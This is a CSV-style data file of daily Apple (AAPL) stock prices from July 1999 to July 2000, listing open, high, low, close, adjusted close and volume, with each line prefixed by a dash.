-1999-07-19,1.9263392686843872,1.9933035373687744,1.8683035373687744,1.9441964626312256,1.6916471719741821,140324800.0,AAPL
-1999-07-20,1.9486607313156128,1.9821428060531616,1.8839285373687744,1.8883928060531616,1.643092393875122,110518800.0,AAPL
-1999-07-21,1.9308035373687744,1.9799107313156128,1.8883928060531616,1.9308035373687744,1.6799943447113037,179541600.0,AAPL
-1999-07-22,1.9151785373687744,1.9241071939468384,1.8258928060531616,1.8705357313156128,1.6275548934936523,101682000.0,AAPL
-1999-07-23,1.8861607313156128,1.9196428060531616,1.8816964626312256,1.9040178060531616,1.6566874980926514,57262800.0,AAPL
-1999-07-26,1.8883928060531616,1.8928571939468384,1.8169642686843872,1.8191964626312256,1.5828841924667358,87796800.0,AAPL
-1999-07-27,1.8794642686843872,1.9263392686843872,1.875,1.9174107313156128,1.6683406829833984,98977200.0,AAPL
-1999-07-28,1.9241071939468384,1.9776785373687744,1.8928571939468384,1.9419642686843872,1.6897050142288208,82227600.0,AAPL
-1999-07-29,1.90625,1.9732142686843872,1.8973214626312256,1.9241071939468384,1.6741673946380615,68868800.0,AAPL
-1999-07-30,1.9464285373687744,2.0044643878936768,1.9464285373687744,1.9888392686843872,1.730491042137146,95785200.0,AAPL
-1999-08-02,1.9866071939468384,2.0714285373687744,1.9821428060531616,1.9910714626312256,1.7324334383010864,90610800.0,AAPL
-1999-08-03,2.0267856121063232,2.0513393878936768,1.9151785373687744,1.9732142686843872,1.7168954610824585,92094800.0,AAPL
-1999-08-04,1.9709821939468384,1.9955357313156128,1.9017857313156128,1.921875,1.6722252368927002,92856400.0,AAPL
-1999-08-05,1.9107142686843872,1.9598214626312256,1.8616071939468384,1.9553571939468384,1.7013579607009888,80634400.0,AAPL
-1999-08-06,1.9308035373687744,1.9754464626312256,1.9107142686843872,1.9330357313156128,1.6819361448287964,108889200.0,AAPL
-1999-08-09,1.9408482313156128,1.9709821939468384,1.9375,1.9441964626312256,1.6916471719741821,58321200.0,AAPL
-1999-08-10,1.9285714626312256,2.0,1.9151785373687744,1.9776785373687744,1.7207800149917603,104056400.0,AAPL
-1999-08-11,2.0,2.1339285373687744,1.9977678060531616,2.1316964626312256,1.8547911643981934,212584400.0,AAPL
-1999-08-12,2.109375,2.1919643878936768,2.09375,2.142857074737549,1.8645015954971313,166527200.0,AAPL
-1999-08-13,2.1651785373687744,2.2142856121063232,2.138392925262451,2.1450893878936768,1.8664438724517822,74608800.0,AAPL
-1999-08-16,2.1361606121063232,2.1674106121063232,2.125,2.1607143878936768,1.8800394535064697,69232800.0,AAPL
-1999-08-17,2.154017925262451,2.15625,2.1049106121063232,2.154017925262451,1.8742128610610962,80234000.0,AAPL
-1999-08-18,2.1450893878936768,2.2142856121063232,2.1294643878936768,2.1473214626312256,1.8683862686157227,117143600.0,AAPL
-1999-08-19,2.1361606121063232,2.1607143878936768,2.091517925262451,2.0982143878936768,1.8256582021713257,137505200.0,AAPL
-1999-08-20,2.1160714626312256,2.1205356121063232,2.078125,2.1138393878936768,1.8392534255981445,81986800.0,AAPL
-1999-08-23,2.1205356121063232,2.1919643878936768,2.1183035373687744,2.169642925262451,1.8878079652786255,88891600.0,AAPL
-1999-08-24,2.15625,2.169642925262451,2.140625,2.15625,1.876155138015747,125566000.0,AAPL
-1999-08-25,2.1674106121063232,2.1964285373687744,2.1473214626312256,2.1919643878936768,1.9072304964065552,73791200.0,AAPL
-1999-08-26,2.1830356121063232,2.2544643878936768,2.1830356121063232,2.21875,1.9305367469787598,101122000.0,AAPL
-1999-08-27,2.2410714626312256,2.3214285373687744,2.2388393878936768,2.3125,2.0121092796325684,111708800.0,AAPL
-1999-08-30,2.3214285373687744,2.3214285373687744,2.2142856121063232,2.216517925262451,1.9285941123962402,84148400.0,AAPL
-1999-08-31,2.2354910373687744,2.3526785373687744,2.216517925262451,2.330357074737549,2.02764630317688,158636800.0,AAPL
-1999-09-01,2.392857074737549,2.4575893878936768,2.357142925262451,2.450892925262451,2.132524251937866,197156400.0,AAPL
-1999-09-02,2.4151785373687744,2.5513393878936768,2.388392925262451,2.5200893878936768,2.1927318572998047,223787200.0,AAPL
-1999-09-03,2.5691964626312256,2.6875,2.517857074737549,2.625,2.28401517868042,408816800.0,AAPL
-1999-09-07,2.6339285373687744,2.783482074737549,2.625,2.7276785373687744,2.3733553886413574,246198400.0,AAPL
-1999-09-08,2.720982074737549,2.7745535373687744,2.6607143878936768,2.6607143878936768,2.315089702606201,190551200.0,AAPL
-1999-09-09,2.6964285373687744,2.7120535373687744,2.638392925262451,2.6986606121063232,2.34810733795166,133520800.0,AAPL
-1999-09-10,2.7142856121063232,2.7745535373687744,2.6674106121063232,2.765625,2.4063730239868164,114690800.0,AAPL
-1999-09-13,2.752232074737549,2.752232074737549,2.671875,2.6785714626312256,2.330627918243408,63000000.0,AAPL
-1999-09-14,2.6685268878936768,2.8035714626312256,2.6674106121063232,2.779017925262451,2.4180262088775635,97073200.0,AAPL
-1999-09-15,2.8169643878936768,2.825892925262451,2.6875,2.6919643878936768,2.342280387878418,89894000.0,AAPL
-1999-09-16,2.716517925262451,2.7879464626312256,2.638392925262451,2.7433035373687744,2.386950731277466,110471200.0,AAPL
-1999-09-17,2.7611606121063232,2.7767856121063232,2.7232143878936768,2.747767925262451,2.3908352851867676,69319600.0,AAPL
-1999-09-20,2.75,2.861607074737549,2.7455356121063232,2.8236606121063232,2.456869602203369,114167200.0,AAPL
-1999-09-21,2.6138393878936768,2.6160714626312256,2.4642856121063232,2.4732143878936768,2.1519458293914795,839389600.0,AAPL
-1999-09-22,2.4910714626312256,2.5580356121063232,2.46484375,2.5111606121063232,2.1849639415740967,280792400.0,AAPL
-1999-09-23,2.5401785373687744,2.544642925262451,2.25,2.2611606121063232,1.9674386978149414,285938800.0,AAPL
-1999-09-24,2.263392925262451,2.3934152126312256,2.25,2.3191964626312256,2.0179359912872314,294968800.0,AAPL
-1999-09-27,2.3705356121063232,2.3839285373687744,2.185267925262451,2.189732074737549,1.9052879810333252,237048000.0,AAPL
-1999-09-28,2.1964285373687744,2.2142856121063232,2.0513393878936768,2.1294643878936768,1.8528491258621216,353740800.0,AAPL
-1999-09-29,2.1517856121063232,2.1875,2.0714285373687744,2.109375,1.8353691101074219,164320800.0,AAPL
-1999-09-30,2.127232074737549,2.2924106121063232,2.1160714626312256,2.2611606121063232,1.9674386978149414,227021200.0,AAPL
-1999-10-01,2.21875,2.2299106121063232,2.125,2.2042410373687744,1.9179128408432007,153697600.0,AAPL
-1999-10-04,2.2276785373687744,2.3169643878936768,2.2276785373687744,2.3058035373687744,2.006281614303589,114839200.0,AAPL
-1999-10-05,2.34375,2.4330356121063232,2.3125,2.4263393878936768,2.1111602783203125,203551600.0,AAPL
-1999-10-06,2.4776785373687744,2.486607074737549,2.392857074737549,2.3995535373687744,2.0878539085388184,201068000.0,AAPL
-1999-10-07,2.4441964626312256,2.450892925262451,2.3169643878936768,2.3705356121063232,2.062605619430542,151471600.0,AAPL
-1999-10-08,2.3638393878936768,2.3683035373687744,2.267857074737549,2.341517925262451,2.0373573303222656,95701200.0,AAPL
-1999-10-11,2.357142925262451,2.4375,2.357142925262451,2.3816964626312256,2.072316884994507,65780400.0,AAPL
-1999-10-12,2.424107074737549,2.486607074737549,2.392857074737549,2.4174106121063232,2.1033918857574463,140938000.0,AAPL
-1999-10-13,2.3794643878936768,2.482142925262451,2.2767856121063232,2.286830425262451,1.9897736310958862,159182800.0,AAPL
-1999-10-14,2.4732143878936768,2.6183035373687744,2.4642856121063232,2.6138393878936768,2.274304151535034,474700800.0,AAPL
-1999-10-15,2.5401785373687744,2.7075893878936768,2.5066964626312256,2.6629464626312256,2.3170320987701416,293294400.0,AAPL
-1999-10-18,2.638392925262451,2.6517856121063232,2.5401785373687744,2.6160714626312256,2.2762460708618164,194101600.0,AAPL
-1999-10-19,2.5580356121063232,2.6785714626312256,2.4441964626312256,2.4464285373687744,2.1286399364471436,255645600.0,AAPL
-1999-10-20,2.5,2.6875,2.5,2.6830356121063232,2.3345110416412354,270351200.0,AAPL
-1999-10-21,2.591517925262451,2.752232074737549,2.5848214626312256,2.71875,2.3655877113342285,198363200.0,AAPL
-1999-10-22,2.7544643878936768,2.7589285373687744,2.6205356121063232,2.640625,2.2976107597351074,104876800.0,AAPL
-1999-10-25,2.6517856121063232,2.71875,2.6339285373687744,2.6607143878936768,2.315089702606201,81648000.0,AAPL
-1999-10-26,2.6763393878936768,2.6964285373687744,2.6183035373687744,2.6808035373687744,2.332568883895874,90358800.0,AAPL
-1999-10-27,2.65625,2.736607074737549,2.622767925262451,2.7276785373687744,2.3733553886413574,110768000.0,AAPL
-1999-10-28,2.752232074737549,2.8214285373687744,2.716517925262451,2.78125,2.4199681282043457,126022400.0,AAPL
-1999-10-29,2.814732074737549,2.8950893878936768,2.814732074737549,2.861607074737549,2.48988676071167,130762800.0,AAPL
-1999-11-01,2.857142925262451,2.8816964626312256,2.763392925262451,2.7723214626312256,2.4121992588043213,69644400.0,AAPL
-1999-11-02,2.7857143878936768,2.9174106121063232,2.7611606121063232,2.8660714626312256,2.4937713146209717,99808800.0,AAPL
-1999-11-03,2.9151785373687744,2.9732143878936768,2.892857074737549,2.9107143878936768,2.5326154232025146,82115600.0,AAPL
-1999-11-04,2.9308035373687744,3.049107074737549,2.8794643878936768,2.986607074737549,2.598649024963379,94771600.0,AAPL
-1999-11-05,3.0223214626312256,3.15625,3.0,3.154017925262451,2.7443137168884277,104202000.0,AAPL
-1999-11-08,3.1339285373687744,3.490513324737549,3.0982143878936768,3.4419643878936768,2.994856357574463,237731200.0,AAPL
-1999-11-09,3.3705356121063232,3.375,3.142857074737549,3.200892925262451,2.785100221633911,202294400.0,AAPL
-1999-11-10,3.1517856121063232,3.330357074737549,3.1473214626312256,3.265625,2.8414230346679688,144474400.0,AAPL
-1999-11-11,3.271205425262451,3.3080356121063232,3.2098214626312256,3.294642925262451,2.866671562194824,67468800.0,AAPL
-1999-11-12,3.283482074737549,3.2857143878936768,3.1205356121063232,3.236607074737549,2.8161749839782715,69764800.0,AAPL
-1999-11-15,3.200892925262451,3.3169643878936768,3.1607143878936768,3.1941964626312256,2.77927303314209,64976800.0,AAPL
-1999-11-16,3.2142856121063232,3.2767856121063232,3.1607143878936768,3.2566964626312256,2.8336544036865234,58464000.0,AAPL
-1999-11-17,3.2388393878936768,3.3839285373687744,3.2142856121063232,3.2232143878936768,2.8045217990875244,91142800.0,AAPL
-1999-11-18,3.252232074737549,3.2544643878936768,3.158482074737549,3.200892925262451,2.785100221633911,91196000.0,AAPL
-1999-11-19,3.1964285373687744,3.3169643878936768,3.1450893878936768,3.3013393878936768,2.8724982738494873,78128400.0,AAPL
-1999-11-22,3.2767856121063232,3.2767856121063232,3.1875,3.236607074737549,2.8161749839782715,50590400.0,AAPL
-1999-11-23,3.2767856121063232,3.4017856121063232,3.1607143878936768,3.314732074737549,2.8841519355773926,135828000.0,AAPL
-1999-11-24,3.3214285373687744,3.392857074737549,3.2745535373687744,3.3816964626312256,2.942417860031128,53776800.0,AAPL
-1999-11-26,3.3839285373687744,3.4107143878936768,3.361607074737549,3.3950893878936768,2.954070568084717,33017600.0,AAPL
-1999-11-29,3.3660714626312256,3.5625,3.330357074737549,3.377232074737549,2.938533067703247,116040400.0,AAPL
-1999-11-30,3.5044643878936768,3.705357074737549,3.4776785373687744,3.4955356121063232,3.0414693355560303,210795200.0,AAPL
-1999-12-01,3.607142925262451,3.732142925262451,3.5736606121063232,3.6808035373687744,3.202670097351074,154641200.0,AAPL
-1999-12-02,3.6830356121063232,3.950892925262451,3.6339285373687744,3.935267925262451,3.4240806102752686,141839600.0,AAPL
-1999-12-03,4.0066962242126465,4.127232074737549,3.9955356121063232,4.107142925262451,3.5736289024353027,161980000.0,AAPL
-1999-12-06,4.091517925262451,4.189732074737549,3.9799106121063232,4.142857074737549,3.604703903198242,116695600.0,AAPL
-1999-12-07,4.1629462242126465,4.214285850524902,4.0714287757873535,4.207589149475098,3.6610267162323,111255200.0,AAPL
-1999-12-08,4.151785850524902,4.2098212242126465,3.9107143878936768,3.9308035373687744,3.420196294784546,103087600.0,AAPL
-1999-12-09,3.9642856121063232,3.9642856121063232,3.6026785373687744,3.7589285373687744,3.2706472873687744,213799600.0,AAPL
-1999-12-10,3.7611606121063232,3.9017856121063232,3.5357143878936768,3.6785714626312256,3.20072865486145,159440400.0,AAPL
-1999-12-13,3.6568081378936768,3.6607143878936768,3.533482074737549,3.5357143878936768,3.0764286518096924,132490400.0,AAPL
-1999-12-14,3.513392925262451,3.5625,3.3839285373687744,3.388392925262451,2.9482436180114746,108967600.0,AAPL
-1999-12-15,3.330357074737549,3.4732143878936768,3.252232074737549,3.4642856121063232,3.0142784118652344,155744400.0,AAPL
-1999-12-16,3.5,3.513392925262451,3.357142925262451,3.5111606121063232,3.0550639629364014,115956400.0,AAPL
-1999-12-17,3.6026785373687744,3.642857074737549,3.517857074737549,3.5714285373687744,3.1075029373168945,123751600.0,AAPL
-1999-12-20,3.5558035373687744,3.5580356121063232,3.450892925262451,3.5,3.0453531742095947,70996800.0,AAPL
-1999-12-21,3.5066964626312256,3.6808035373687744,3.497767925262451,3.6607143878936768,3.1851909160614014,76899200.0,AAPL
-1999-12-22,3.674107074737549,3.734375,3.5267856121063232,3.5691964626312256,3.1055614948272705,81768400.0,AAPL
-1999-12-23,3.6361606121063232,3.7232143878936768,3.609375,3.6964285373687744,3.216265916824341,57383200.0,AAPL
-1999-12-27,3.7276785373687744,3.7299106121063232,3.544642925262451,3.546875,3.086139440536499,42098000.0,AAPL
-1999-12-28,3.5401785373687744,3.5580356121063232,3.392857074737549,3.5066964626312256,3.051180124282837,61894000.0,AAPL
-1999-12-29,3.4575893878936768,3.6495535373687744,3.4107143878936768,3.595982074737549,3.1288671493530273,71125600.0,AAPL
-1999-12-30,3.6495535373687744,3.71875,3.5580356121063232,3.5825893878936768,3.1172142028808594,51786000.0,AAPL
-1999-12-31,3.6049106121063232,3.674107074737549,3.5535714626312256,3.671875,3.194901466369629,40952800.0,AAPL
-2000-01-03,3.7455356121063232,4.017857074737549,3.6316964626312256,3.997767925262451,3.4784622192382812,133949200.0,AAPL
-2000-01-04,3.8660714626312256,3.950892925262451,3.6138393878936768,3.6607143878936768,3.1851909160614014,128094400.0,AAPL
-2000-01-05,3.705357074737549,3.9486606121063232,3.6785714626312256,3.7142856121063232,3.2318031787872314,194580400.0,AAPL
-2000-01-06,3.7901785373687744,3.8214285373687744,3.392857074737549,3.392857074737549,2.9521284103393555,191993200.0,AAPL
-2000-01-07,3.4464285373687744,3.607142925262451,3.4107143878936768,3.5535714626312256,3.091965913772583,115183600.0,AAPL
-2000-01-10,3.642857074737549,3.6517856121063232,3.3839285373687744,3.4910714626312256,3.0375845432281494,126266000.0,AAPL
-2000-01-11,3.4263393878936768,3.549107074737549,3.232142925262451,3.3125,2.882209062576294,110387200.0,AAPL
-2000-01-12,3.392857074737549,3.4107143878936768,3.0892856121063232,3.1138393878936768,2.7093539237976074,244017200.0,AAPL
-2000-01-13,3.3744418621063232,3.5267856121063232,3.3035714626312256,3.455357074737549,3.006509780883789,258171200.0,AAPL
-2000-01-14,3.5714285373687744,3.6517856121063232,3.549107074737549,3.5870535373687744,3.121098756790161,97594000.0,AAPL
-2000-01-18,3.607142925262451,3.7857143878936768,3.5870535373687744,3.7120535373687744,3.229860544204712,114794400.0,AAPL
-2000-01-19,3.7723214626312256,3.8839285373687744,3.6919643878936768,3.8058035373687744,3.3114330768585205,149410800.0,AAPL
-2000-01-20,4.125,4.339285850524902,4.0535712242126465,4.0535712242126465,3.5270161628723145,457783200.0,AAPL
-2000-01-21,4.080357074737549,4.080357074737549,3.935267925262451,3.9754464626312256,3.4590389728546143,123981200.0,AAPL
-2000-01-24,3.872767925262451,4.026785850524902,3.7544643878936768,3.794642925262451,3.3017220497131348,110219200.0,AAPL
-2000-01-25,3.75,4.0401787757873535,3.65625,4.0089287757873535,3.4881722927093506,124286400.0,AAPL
-2000-01-26,3.9285714626312256,4.078125,3.919642925262451,3.935267925262451,3.4240806102752686,91789600.0,AAPL
-2000-01-27,3.8861606121063232,4.035714149475098,3.8214285373687744,3.9285714626312256,3.4182538986206055,85036000.0,AAPL
-2000-01-28,3.8638393878936768,3.9598214626312256,3.59375,3.6294643878936768,3.1580002307891846,105837200.0,AAPL
-2000-01-31,3.607142925262451,3.7098214626312256,3.375,3.705357074737549,3.2240347862243652,175420000.0,AAPL
-2000-02-01,3.7142856121063232,3.75,3.5714285373687744,3.580357074737549,3.11527156829834,79508800.0,AAPL
-2000-02-02,3.5982143878936768,3.6473214626312256,3.4642856121063232,3.529017925262451,3.0706021785736084,116048800.0,AAPL
-2000-02-03,3.5825893878936768,3.7232143878936768,3.580357074737549,3.689732074737549,3.210439682006836,118798400.0,AAPL
-2000-02-04,3.7120535373687744,3.9285714626312256,3.700892925262451,3.857142925262451,3.3561038970947266,106330000.0,AAPL
-2000-02-07,3.857142925262451,4.080357074737549,3.783482074737549,4.073660850524902,3.5444958209991455,110266800.0,AAPL
-2000-02-08,4.0714287757873535,4.1473212242126465,3.9732143878936768,4.1026787757873535,3.5697450637817383,102160800.0,AAPL
-2000-02-09,4.075892925262451,4.183035850524902,4.015625,4.0223212242126465,3.4998252391815186,74841200.0,AAPL
-2000-02-10,4.03125,4.066964149475098,3.9285714626312256,4.0535712242126465,3.5270161628723145,75745600.0,AAPL
-2000-02-11,4.058035850524902,4.075892925262451,3.8660714626312256,3.8839285373687744,3.3794100284576416,53062800.0,AAPL
-2000-02-14,3.904017925262451,4.138392925262451,3.8794643878936768,4.136160850524902,3.5988776683807373,91884800.0,AAPL
-2000-02-15,4.1160712242126465,4.283482074737549,4.113839149475098,4.25,3.6979289054870605,121436000.0,AAPL
-2000-02-16,4.205357074737549,4.21875,4.004464149475098,4.075892925262451,3.5464389324188232,94561600.0,AAPL
-2000-02-17,4.113839149475098,4.125,4.0401787757873535,4.1026787757873535,3.5697450637817383,72374400.0,AAPL
-2000-02-18,4.09375,4.120535850524902,3.9598214626312256,3.9732143878936768,3.4570980072021484,58360400.0,AAPL
-2000-02-22,3.9330356121063232,4.176339149475098,3.810267925262451,4.064732074737549,3.5367274284362793,105574000.0,AAPL
-2000-02-23,4.0440850257873535,4.25,3.9642856121063232,4.151785850524902,3.6124725341796875,118274800.0,AAPL
-2000-02-24,4.189732074737549,4.254464149475098,3.9910714626312256,4.1143975257873535,3.579941749572754,94108000.0,AAPL
-2000-02-25,4.1004462242126465,4.1785712242126465,3.9330356121063232,3.9419643878936768,3.4299073219299316,62286000.0,AAPL
-2000-02-28,3.9330356121063232,4.107142925262451,3.8705356121063232,4.044642925262451,3.51924729347229,82082000.0,AAPL
-2000-02-29,4.0558037757873535,4.1875,4.020089149475098,4.09375,3.5619757175445557,92240400.0,AAPL
-2000-03-01,4.234375,4.716517925262451,4.232142925262451,4.654017925262451,4.049465656280518,269250800.0,AAPL
-2000-03-02,4.535714149475098,4.5691962242126465,4.310267925262451,4.357142925262451,3.791154623031616,77814800.0,AAPL
-2000-03-03,4.4598212242126465,4.579799175262451,4.285714149475098,4.5714287757873535,3.9776039123535156,80841600.0,AAPL
-2000-03-06,4.5,4.611607074737549,4.464285850524902,4.488839149475098,3.905742645263672,52640000.0,AAPL
-2000-03-07,4.515625,4.551339149475098,4.325892925262451,4.388392925262451,3.818344831466675,68252800.0,AAPL
-2000-03-08,4.388392925262451,4.426339149475098,4.234375,4.357142925262451,3.791154623031616,67807600.0,AAPL
-2000-03-09,4.316964149475098,4.464285850524902,4.223214149475098,4.3660712242126465,3.7989227771759033,69179600.0,AAPL
-2000-03-10,4.345982074737549,4.5691962242126465,4.3214287757873535,4.4910712242126465,3.907684803009033,62151600.0,AAPL
-2000-03-13,4.361607074737549,4.517857074737549,4.267857074737549,4.332589149475098,3.769789457321167,75989200.0,AAPL
-2000-03-14,4.3292412757873535,4.4375,4.0714287757873535,4.080357074737549,3.550323009490967,107144800.0,AAPL
-2000-03-15,4.129464149475098,4.294642925262451,4.075892925262451,4.151785850524902,3.6124725341796875,110902400.0,AAPL
-2000-03-16,4.189732074737549,4.357142925262451,4.089285850524902,4.341517925262451,3.7775588035583496,94525200.0,AAPL
-2000-03-17,4.2901787757873535,4.464285850524902,4.2723212242126465,4.464285850524902,3.8843791484832764,76260800.0,AAPL
-2000-03-20,4.410714149475098,4.5089287757873535,4.370535850524902,4.392857074737549,3.8222298622131348,51122400.0,AAPL
-2000-03-21,4.377232074737549,4.8839287757873535,4.34375,4.8191962242126465,4.1931867599487305,131082000.0,AAPL
-2000-03-22,4.7421875,5.15625,4.698660850524902,5.1495537757873535,4.480630874633789,141999200.0,AAPL
-2000-03-23,5.0714287757873535,5.370535850524902,5.0,5.046875,4.391289710998535,140641200.0,AAPL
-2000-03-24,5.0870537757873535,5.140625,4.839285850524902,4.953125,4.309718132019043,111728400.0,AAPL
-2000-03-27,4.9151787757873535,5.169642925262451,4.888392925262451,4.984375,4.33690881729126,69795600.0,AAPL
-2000-03-28,4.901785850524902,5.0714287757873535,4.8973212242126465,4.96875,4.3233137130737305,50741600.0,AAPL
-2000-03-29,4.9776787757873535,4.979910850524902,4.779575824737549,4.854910850524902,4.224262237548828,59959200.0,AAPL
-2000-03-30,4.770089149475098,4.917410850524902,4.479910850524902,4.4910712242126465,3.907684803009033,103600000.0,AAPL
-2000-03-31,4.551339149475098,4.901785850524902,4.5,4.8504462242126465,4.220376491546631,101158400.0,AAPL
-2000-04-03,4.839285850524902,4.982142925262451,4.622767925262451,4.761160850524902,4.1426897048950195,82140800.0,AAPL
-2000-04-04,4.736607074737549,4.75,4.169642925262451,4.546875,3.9562392234802246,165082400.0,AAPL
-2000-04-05,4.5167412757873535,4.745535850524902,4.4285712242126465,4.65625,4.051407337188721,114416400.0,AAPL
-2000-04-06,4.6651787757873535,4.8035712242126465,4.401785850524902,4.470982074737549,3.890205144882202,64906800.0,AAPL
-2000-04-07,4.544642925262451,4.7098212242126465,4.482142925262451,4.705357074737549,4.09413480758667,60608800.0,AAPL
-2000-04-10,4.703125,4.7410712242126465,4.455357074737549,4.464285850524902,3.8843791484832764,53065600.0,AAPL
-2000-04-11,4.410714149475098,4.4598212242126465,4.216517925262451,4.265625,3.7115237712860107,135455600.0,AAPL
-2000-04-12,4.25,4.25,3.7455356121063232,3.9017856121063232,3.394946575164795,235284000.0,AAPL
-2000-04-13,3.982142925262451,4.285714149475098,3.875,4.064732074737549,3.5367274284362793,132456800.0,AAPL
-2000-04-14,3.904017925262451,4.214285850524902,3.892857074737549,3.9955356121063232,3.4765191078186035,166905200.0,AAPL
-2000-04-17,3.9107143878936768,4.426339149475098,3.8950893878936768,4.424107074737549,3.8494198322296143,102390400.0,AAPL
-2000-04-18,4.410714149475098,4.53125,4.263392925262451,4.53125,3.942645311355591,97731200.0,AAPL
-2000-04-19,4.5066962242126465,4.651785850524902,4.276785850524902,4.325892925262451,3.7639636993408203,130037600.0,AAPL
-2000-04-20,4.417410850524902,4.455357074737549,4.1808037757873535,4.245535850524902,3.694044589996338,180530000.0,AAPL
-2000-04-24,4.107142925262451,4.3035712242126465,4.098214149475098,4.3035712242126465,3.744541645050049,110905200.0,AAPL
-2000-04-25,4.361607074737549,4.598214149475098,4.359375,4.582589149475098,3.987316608428955,97910400.0,AAPL
-2000-04-26,4.5223212242126465,4.5714287757873535,4.285714149475098,4.332589149475098,3.769789457321167,91728000.0,AAPL
-2000-04-27,4.185267925262451,4.535714149475098,4.163504600524902,4.526785850524902,3.938760280609131,81650800.0,AAPL
-2000-04-28,4.5401787757873535,4.5535712242126465,4.332589149475098,4.4308037757873535,3.8552472591400146,62395200.0,AAPL
-2000-05-01,4.4598212242126465,4.46875,4.3526787757873535,4.439732074737549,3.8630149364471436,56548800.0,AAPL
-2000-05-02,4.401785850524902,4.5089287757873535,4.1964287757873535,4.2098212242126465,3.6629703044891357,59108000.0,AAPL
-2000-05-03,4.247767925262451,4.330357074737549,3.986607074737549,4.109375,3.575570583343506,122449600.0,AAPL
-2000-05-04,4.111607074737549,4.1160712242126465,3.9486606121063232,3.953125,3.4396181106567383,99878800.0,AAPL
-2000-05-05,3.9575893878936768,4.098214149475098,3.9542410373687744,4.0401787757873535,3.5153634548187256,71019200.0,AAPL
-2000-05-08,4.003348350524902,4.060267925262451,3.9285714626312256,3.9330356121063232,3.4221372604370117,46225200.0,AAPL
-2000-05-09,3.939732074737549,3.9732143878936768,3.7455356121063232,3.765625,3.2764737606048584,81785200.0,AAPL
-2000-05-10,3.716517925262451,3.75,3.5267856121063232,3.546875,3.086139440536499,133772800.0,AAPL
-2000-05-11,3.6205356121063232,3.7232143878936768,3.5357143878936768,3.671875,3.194901466369629,124936000.0,AAPL
-2000-05-12,3.7857143878936768,3.9464285373687744,3.7416293621063232,3.84375,3.3444504737854004,76728400.0,AAPL
-2000-05-15,3.859375,3.859375,3.575892925262451,3.607142925262451,3.138578414916992,169733200.0,AAPL
-2000-05-16,3.732700824737549,3.8950893878936768,3.669642925262451,3.7745535373687744,3.284242630004883,110112800.0,AAPL
-2000-05-17,3.700892925262451,3.703125,3.5848214626312256,3.6205356121063232,3.1502318382263184,99523200.0,AAPL
-2000-05-18,3.6785714626312256,3.747767925262451,3.59375,3.5982143878936768,3.1308090686798096,93444400.0,AAPL
-2000-05-19,3.544642925262451,3.544642925262451,3.3348214626312256,3.357142925262451,2.921053171157837,185166800.0,AAPL
-2000-05-22,3.3482143878936768,3.3482143878936768,3.0714285373687744,3.2120535373687744,2.7948105335235596,188876800.0,AAPL
-2000-05-23,3.232142925262451,3.3348214626312256,3.0580356121063232,3.064732074737549,2.6666269302368164,129396400.0,AAPL
-2000-05-24,3.078125,3.205357074737549,2.9642856121063232,3.1316964626312256,2.7248923778533936,169615600.0,AAPL
-2000-05-25,3.1607143878936768,3.3091518878936768,3.0714285373687744,3.1166293621063232,2.7117819786071777,101687600.0,AAPL
-2000-05-26,3.142857074737549,3.2098214626312256,3.044642925262451,3.0848214626312256,2.6841061115264893,45287200.0,AAPL
-2000-05-30,3.1294643878936768,3.1473214626312256,2.919642925262451,3.127232074737549,2.721008062362671,178264800.0,AAPL
-2000-05-31,3.1026785373687744,3.2589285373687744,2.9933035373687744,3.0,2.610302686691284,108376800.0,AAPL
-2000-06-01,2.919642925262451,3.1986606121063232,2.8705356121063232,3.1830356121063232,2.7695627212524414,225960000.0,AAPL
-2000-06-02,3.3482143878936768,3.5625,3.1785714626312256,3.3058035373687744,2.87638258934021,198212000.0,AAPL
-2000-06-05,3.3325893878936768,3.4017856121063232,3.203125,3.2611606121063232,2.837538480758667,80917200.0,AAPL
-2000-06-06,3.2845981121063232,3.455357074737549,3.2254464626312256,3.3169643878936768,2.886093854904175,131370400.0,AAPL
-2000-06-07,3.34375,3.4642856121063232,3.2723214626312256,3.4486606121063232,3.000682830810547,84254800.0,AAPL
-2000-06-08,3.486607074737549,3.517857074737549,3.325892925262451,3.3861606121063232,2.946301221847534,59631600.0,AAPL
-2000-06-09,3.455357074737549,3.497767925262451,3.3705356121063232,3.419642925262451,2.9754347801208496,63089600.0,AAPL
-2000-06-12,3.4419643878936768,3.4441964626312256,3.2455356121063232,3.2566964626312256,2.8336544036865234,72584400.0,AAPL
-2000-06-13,3.2566964626312256,3.3816964626312256,3.1495535373687744,3.375,2.9365906715393066,87864000.0,AAPL
-2000-06-14,3.3816964626312256,3.4375,3.21875,3.2299106121063232,2.8103487491607666,69361600.0,AAPL
-2000-06-15,3.2589285373687744,3.3348214626312256,3.1785714626312256,3.299107074737549,2.870556354522705,62143200.0,AAPL
-2000-06-16,3.3392856121063232,3.3482143878936768,3.1808035373687744,3.2566964626312256,2.8336544036865234,75891200.0,AAPL
-2000-06-19,3.234375,3.4955356121063232,3.2075893878936768,3.450892925262451,3.0026252269744873,98501200.0,AAPL
-2000-06-20,3.517857074737549,3.7120535373687744,3.513392925262451,3.6160714626312256,3.1463472843170166,125347600.0,AAPL
-2000-06-21,3.607142925262451,4.066964149475098,3.59375,3.9732143878936768,3.4570980072021484,122500000.0,AAPL
-2000-06-22,3.982142925262451,4.1160712242126465,3.825892925262451,3.8392856121063232,3.3405656814575195,116928000.0,AAPL
-2000-06-23,3.841517925262451,3.9017856121063232,3.6294643878936768,3.6919643878936768,3.212380886077881,51241400.0,AAPL
-2000-06-26,3.75,3.9107143878936768,3.7232143878936768,3.8660714626312256,3.3638722896575928,46338600.0,AAPL
-2000-06-27,3.841517925262451,3.9642856121063232,3.6875,3.6964285373687744,3.216265916824341,50867600.0,AAPL
-2000-06-28,3.8080356121063232,3.955357074737549,3.6785714626312256,3.888392925262451,3.3832943439483643,71607200.0,AAPL
-2000-06-29,3.7901785373687744,3.8526785373687744,3.6473214626312256,3.6607143878936768,3.1851909160614014,50915200.0,AAPL
-2000-06-30,3.7723214626312256,3.924107074737549,3.6919643878936768,3.7410714626312256,3.2551097869873047,80774400.0,AAPL
-2000-07-03,3.7232143878936768,3.8794643878936768,3.7232143878936768,3.8080356121063232,3.3133749961853027,17707200.0,AAPL
-2000-07-05,3.8035714626312256,3.9419643878936768,3.625,3.6875,3.2084970474243164,66304000.0,AAPL
-2000-07-06,3.75,3.78125,3.544642925262451,3.700892925262451,3.2201502323150635,77386400.0,AAPL
-2000-07-07,3.7566964626312256,3.9151785373687744,3.7232143878936768,3.888392925262451,3.3832943439483643,65900800.0,AAPL
-2000-07-10,3.8638393878936768,4.160714149475098,3.8392856121063232,4.080357074737549,3.550323009490967,99449000.0,AAPL
-2000-07-11,4.0714287757873535,4.232142925262451,3.9598214626312256,4.066964149475098,3.5386693477630615,89474000.0,AAPL
